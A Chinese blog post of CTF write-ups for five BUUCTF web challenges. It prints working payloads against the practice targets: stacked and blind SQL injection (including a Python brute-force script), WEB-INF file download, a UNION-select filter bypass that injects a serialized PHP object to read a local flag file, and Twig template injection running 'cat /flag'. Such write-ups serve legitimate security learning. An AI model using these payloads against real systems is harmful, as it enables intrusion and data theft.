首页 > 其他分享 >BUUCTF-WEB(31-35)

BUUCTF-WEB(31-35)

时间:2024-05-23 20:18:37浏览次数:12  
标签:WEB BUUCTF name 31 blog flag INF select

[GYCTF2020]Blacklist

参考:

[GYCTF2020]Blacklist 1详解(handler命令用法!)-CSDN博客

SQL注入一些过滤及绕过总结_sql注入过滤-CSDN博客

过滤了这些内容。包括大写,由于是正则匹配,无法双写绕过

这里其实我又试了试注释符绕过,但是没有任何回显

image-20240523085329782

但是我发现可以堆叠注入,因为这道题的框我前面见过,那道题的升级版

爆数据库

1';show database;#

image-20240523090527187

爆表

1';show tables;#

image-20240523090608414

爆列:

1';show columns from FlagHere;#

image-20240523090732274

看了wp,学到了handler这个命令

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;

image-20240523091112744

[CISCN2019 华北赛区 Day2 Web1]Hack World

参考:

[BUUCTF:CISCN2019 华北赛区 Day2 Web1]Hack World-CSDN博客

[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解-阿里云开发者社区 (aliyun.com)

表还有字段都有了,然后盲注

大佬的脚本:

# -*- coding:utf-8 -*-
# Author: mochu7
import requests
import string

def blind_injection(url):
	flag = ''
	strings = string.printable
	for num in range(1,60):
		for i in strings:
			payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
			post_data = {"id":payload}
			res = requests.post(url=url,data=post_data)
			if 'Hello' in res.text:
				flag += i
				print(flag)
			else:
				continue
	print(flag)


if __name__ == '__main__':
	url = 'http://6536f1ec-e085-4588-bc35-c00a2ac6b093.node5.buuoj.cn:81/index.php'
	blind_injection(url)

这边跑出来了,交flag对不了,也挺奇怪

[RoarCTF 2019]Easy Java

参考:

[刷题RoarCTF 2019]Easy Java - kar3a - 博客园 (cnblogs.com)

[(详解)RoarCTF 2019]Easy Java-CSDN博客

[RoarCTF 2019]Easy Java - 春告鳥 - 博客园 (cnblogs.com)

我对java这个网站不太了解,所以也是直接看师傅们的博客了

这里也是打开help这个链接,之后发现可能有下载的漏洞

image-20240523121003711

但是是下载不了的,我们改成POST请求就可以成功发送请求,下载文件

下载了help.docx是没有flag的

image-20240523121036350

翻了师傅们的博客,知道

 WEB-INF主要包含一下文件或目录:
    /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
    /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
    /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
    /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
    /WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码 

那我们POST发送

filename=/WEB-INF/web.xml

下载后也是发现了关键信息

image-20240523121415299

然后下载

filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

给代码里面的base64解密得到flag

image-20240523121852077

[网鼎杯 2018]Fakebook

参考:

[BUUCTF:网鼎杯 2018]Fakebook_fakebook buuctf-CSDN博客

[buuctf-网鼎杯 2018]Fakebook 1 - junlebao - 博客园 (cnblogs.com)

目录扫描,找到了robots.txt,flag.php

image-20240523184123241

访问了一下,什么没有

但是我看wp这里都说是user.php.bak

我们下载下来发现是个反序列化

image-20240523185245020

注册账号后发现有个no参数,我们尝试注入一下

image-20240523185713314

输入1',根据报错应该是数字型的

image-20240523185748896

爆字段数,一共有四个

1 order by 5

image-20240523185824824

爆回显位置,然后union select被过滤了,我们用注释绕过

-1 union/**/select 1,2,3,4

剩下就是正常注入

-1 union/**/select 1,database(),3,4  // 爆库
-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where  table_schema='fakebook'  // 爆表
-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where  table_schema='fakebook' and table_name='users' // 爆列
-1 union/**/select 1,group_concat(username,'-',passwd,'-',data),3,4 from fakebook.users // 爆数据

image-20240523190808126

我们发现这个data这个数据就是序列化的内容,我们再看一下那个文件

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

我们去构建反序列化的

image-20240523191222050

O:8:"UserInfo":3:{s:4:"name";s:9:"Muneyohsi";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

然后大佬说是尝试注入的时候,这样给他加入进去(data就在第四个字段)

-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"user";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

image-20240523191933677

插入之后点击,这个链接,查看源码就得到了

image-20240523191917125

[BJDCTF2020]The mystery of ip

参考:

[BUUCTF BJDCTF2020] The mystery of ip_buuctf[bjdctf2020]the mystery of ip-CSDN博客

Twig 模板注入从零到一 - 先知社区 (aliyun.com)

我刚开始扫描了一个.DS_Store的文件,以为是利用它

后面看了佬的wp就是他是根据XFF这个来判断的

我们抓包修改一下试试

X-Forwarded-For:1

image-20240523200418161

发现界面回显了1

image-20240523200430233

然后佬说

Flask可能存在Jinjia2模版注入漏洞
PHP可能存在Twig模版注入漏洞

然后测试

{{7*7}}

image-20240523200555557

{{system('cat /flag')}}

image-20240523200909863

标签:WEB,BUUCTF,name,31,blog,flag,INF,select
From: https://www.cnblogs.com/Muneyoshi/p/18209248

相关文章

  • webrtc FEC 协议
    参考:https://www.cnblogs.com/ishen/p/15333271.htmlhttps://zhuanlan.zhihu.com/p/6034212391.生成1.1等待并筹齐多个原始包webrtc会等待筹齐多个rtp包后,再统一生成冗余包,参看UlpfecGenerator::AddPacketAndGenerateFec()函数:voidUlpfecGenerator::AddPacketAndGe......
  • 20211317李卓桐 Exp7 网络欺诈防范 实验报告
    Exp7网络欺诈防范基础问题回答(1)通常在什么场景下容易受到DNSspoof攻击DNSspoof攻击,也称为DNS欺骗或DNS欺瞒,是一种网络攻击手法,其中攻击者通过伪造DNS(域名系统)应答来误导互联网用户,使得他们访问恶意网站或服务器,而不是他们原本想要访问的真实网站或服务。以下场景可能会容易......
  • BUUCTF-Misc(6-10)
    乌镇峰会种图010editor翻到后面就有了,就看到flag了flag{97314e7864a8f62627b26f3f998c37f1}N种方法解决记事本打开,发现说是base64,拖到网站解密Base64解码Base64编码UTF8GB2312UTF16GBK二进制十六进制解密-TheX在线工具(the-x.cn)然后存为png,然后是一张二维码......
  • 31. 下一个排列
    整数数组的一个排列就是将其所有成员以序列或线性顺序排列。例如,arr=[1,2,3],以下这些都可以视作arr的排列:[1,2,3]、[1,3,2]、[3,1,2]、[2,3,1]。整数数组的下一个排列是指其整数的下一个字典序更大的排列。更正式地,如果数组的所有排列根据其字典顺序从小到大排列在一......
  • 2024 CISCN WEB 部分wp
    前言第二天的revenge真是绷不住,出的很好,下次多出点revenge。ezjava简要介绍sqlitejdbc...真的没想到,写文件覆盖写了半天,结果是个CVE...,给的很多东西都是幌子原理是通过控制jdbc语句和sql语句的执行来达到加载恶意so/dll达成rce的目的,这两个条件就很苛刻了,所以算是个比较鸡肋......
  • idea创建web项目
    创建web的jar包:file--module选择webapp添加参数:archetypeCatalog=internal;现实结果......
  • Run Llama 3 Locally with Ollama and Open WebUI
    Ollama3installhttps://dev.to/timesurgelabs/how-to-run-llama-3-locally-with-ollama-and-open-webui-297dhttps://medium.com/@blackhorseya/running-llama-3-model-with-nvidia-gpu-using-ollama-docker-on-rhel-9-0504aeb1c924DockerGPUAcceleratehttps://docs.do......
  • websocket和http的区别
    1、websocket1.1介绍WebSocket是一种实时通信协议,它允许客户端和服务器之间进行双向通信,而不需要每次请求都重新建立连接。WebSocket是HTML5中的新功能,它建立在HTTP协议之上,通过握手协议来建立持久化的连接。WebSocket的握手协议比HTTP的握手协议更简单,因为WebSocket......
  • 2022-05-31-dkm_1-1-新增熵值法功能
    DKM的新版本,新增了熵值法(截面)功能。使用一如既往的简单明了,准备数据如下图:其中X表示正向指标,Y表示负向指标,软件截面操作如下:输入S,回车即可得到结果文件。最近会更新CCM因果检验算法模块,需要的同学请留意。需要的同学,可以扫描二维码购买。若您有其他想要使用的模型,却苦于......
  • Django与前端框架协作开发实战:高效构建现代Web应用
    title:Django与前端框架协作开发实战:高效构建现代Web应用date:2024/5/2220:07:47updated:2024/5/2220:07:47categories:后端开发tags:DjangoREST前端框架SSR渲染SPA路由SEO优化组件库集成状态管理第1章:简介1.1Django简介Django是一个高级的PythonWeb......